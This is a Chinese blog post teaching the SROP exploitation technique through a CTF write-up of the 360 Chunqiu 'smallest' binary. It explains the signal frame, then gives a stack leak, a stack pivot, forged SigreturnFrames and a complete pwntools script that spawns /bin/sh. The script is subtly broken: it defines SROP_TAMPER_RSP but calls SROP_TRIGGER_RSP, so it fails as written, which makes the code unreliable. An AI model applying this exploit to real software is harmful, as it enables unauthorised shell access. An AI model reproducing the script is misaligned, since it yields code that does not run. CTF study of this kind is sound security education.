SROP
无    792    0    0
mut3p1g

SROP全称为Sigreturn Oriented Programming,表明利用sigreturn这个函数实现ROP的技术。(之前听说的时候一直以为是system ropXD)
没有办法控制寄存器

参考链接:
http://4ngelboy.blogspot.tw/2015/07/srop.html
http://www.freebuf.com/articles/network/87447.html
http://bobao.360.cn/learning/detail/3675.html
http://www.cnblogs.com/chihie/p/7420016.html
其中syscall调用号可以对照/usr/include/x86_64-linux-gnu/asm/unistd_64.h

0x01 Linux Signal机制

首先还是看一下这张图(小小的盗用一下XD)

这张图描绘了信号机制的四个步骤:
1) 当进程发出一个信号时,会由内核接收该信号并切换到内核模式并为进程保存上下文(将寄存器等中的数据存到栈上)

  1. +==============+ stack
  2. sigcontext (sigcontext就是保存的上下文,具体结构我们可以直接用pwntoolsSigreturnFrame()来实现)
  3. +==============+

2) 通过信号signal的值,在用户层调用对应的signal handler进行处理

  1. +==============+ stack
  2. sigcontext
  3. +==============+
  4. sigreturn_addr (当signal handler执行完后会执行sigreturn)
  5. +==============+

3) 处理完信号后,回到内核层调用sigreturn恢复进程的上下文
4) 返回用户层,进程回到之前保存的IP继续运行

0x02 SROP

1. 利用步骤

通过上面对信号实现流程的分析,可以发现在第三步调用sigreturn之后,可以实现寄存器值都从栈上取出,并且可以跳转到我们设置的地址中,所以直接伪造好一个sigcontext就可以了,关键值如下:

  1. rax: 59 (execvesyscall调用号)
  2. rdi: /bin/sh的字符串地址
  3. rip: syscall地址

最后将ret的地址设置为sigreturn的地址就可以了。

2. 利用条件

只要我们能得到上述步骤中的值就可以了,具体如下:

  1. 1. /bin/sh字符串地址
  2. 2. syscall地址
  3. 3. sigreturn地址

这里sigreturn可以通过syscall来调用它,它的系统调用号为15,所以我们可以通过设置rax=15后再将ret地址设置为syscall就可以了。

0x03 demo

这里用360春秋杯的一道smallest作为样例分析一下。
首先代码很短,就这么点儿:

  1. 0x4000b0 xor rax, rax
  2. 0x4000b3 mov edx, 0x400
  3. 0x4000b8 mov rsi, rsp
  4. 0x4000bb mov rdi, rax
  5. 0x4000be syscall
  6. 0x4000c0 ret

那么现在我们已经满足了两个条件:

  1. 存在syscall gadget
  2. 可以控制rax之后调用syscall

那么唯一的问题就是/bin/sh的字符串地址了,所以首先得解决这个问题。

1. leak

由于程序很小,能写的地方只有栈了,所以只能泄露栈地址了。
思路为:

  1. 1. 写入30x4000b0,第一个用来从头开始,第二个用来leak
  2. 2. 写入\xb3,从而将我们写入的第二个0x4000b0篡改为了0x4000b3。同时由于我们只输入了一个字符,所以通过read返回的rax1,而这正好是write的系统调用号
  3. 3. 调用write(1, rsp, 0x400),将栈中的数据打印出来
  4. 4. 第三个0x4000b0用来再次从头开始

通过调试可以发现,打印出来的数据从第二个开始就是栈上的地址了。

2. 栈转移

由于我们泄露的地址只是栈上的,却不是当前栈的地址,所以首先我们需要将栈转移到我们泄露出来的地址上面去。
思路为:

  1. 1. 构造一个用来readsigcontext,并且设置rsp和写入的地址rsi都是我们泄露的地址(必须用read的原因是栈被转移了,所以我们需要输入一个地址用来返回)
  2. 2. 返回0x4000b0,构造rax=15调用syscall
  3. 3. 由于第一步的构造,再输入一个地址,就是即将返回的地址

3. execve

剩下的和上一步差不多,只是执行的是execve

  1. 1. 构造一个execvesigcontext,设置rdibinsh的地址,并将binsh紧跟在sigcontext最后
  2. 2. 通过上一步最后一步输入地址0x4000b0,构造rax=15调用syscall

4. EXP

  1. from pwn import *
  2. p = process('./smallest')
  3. #gdb.attach(proc.pidof(p)[0],"b *0x4000c0")
  4. main_addr = 0x4000b0
  5. syscall_addr = 0x4000be
  6. def SROP_TAMPER_RSP(aim_addr,length):
  7. f = SigreturnFrame()
  8. f.rax = 0
  9. f.rdi = 0
  10. f.rsi = aim_addr
  11. f.rdx = length
  12. f.rsp = aim_addr
  13. f.rip = syscall_addr
  14. return str(f)
  15. def SROP_EXECVE(binsh_addr):
  16. f = SigreturnFrame()
  17. f.rax = 59
  18. f.rdi = binsh_addr
  19. f.rip = syscall_addr
  20. return str(f)
  21. binsh='/bin/sh\x00'
  22. if __name__ == "__main__":
  23. # leak
  24. payload = p64(main_addr)*3
  25. p.send(payload)
  26. raw_input("main * 3")
  27. payload = '\xb3'
  28. p.send(payload)
  29. p.recv(8)
  30. stack_addr = u64(p.recv(8))
  31. log.success("stack_addr: %s"%(hex(stack_addr)))
  32. # tamper rsp
  33. raw_input("trigger rsp")
  34. payload = p64(main_addr) + p64(syscall_addr) + SROP_TRIGGER_RSP(stack_addr,0x400)
  35. p.send(payload)
  36. raw_input("go read")
  37. payload = p64(syscall_addr) + 'a'*7
  38. p.send(payload)
  39. # execve
  40. binsh_addr = stack_addr + 2*8 + len(str(SigreturnFrame()))
  41. raw_input("start execve")
  42. payload = p64(main_addr) + p64(syscall_addr) + SROP_EXECVE(binsh_addr) + binsh
  43. p.send(payload)
  44. raw_input("go execve")
  45. payload = p64(syscall_addr) + 'a'*7
  46. p.send(payload)
  47. p.interactive()
觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录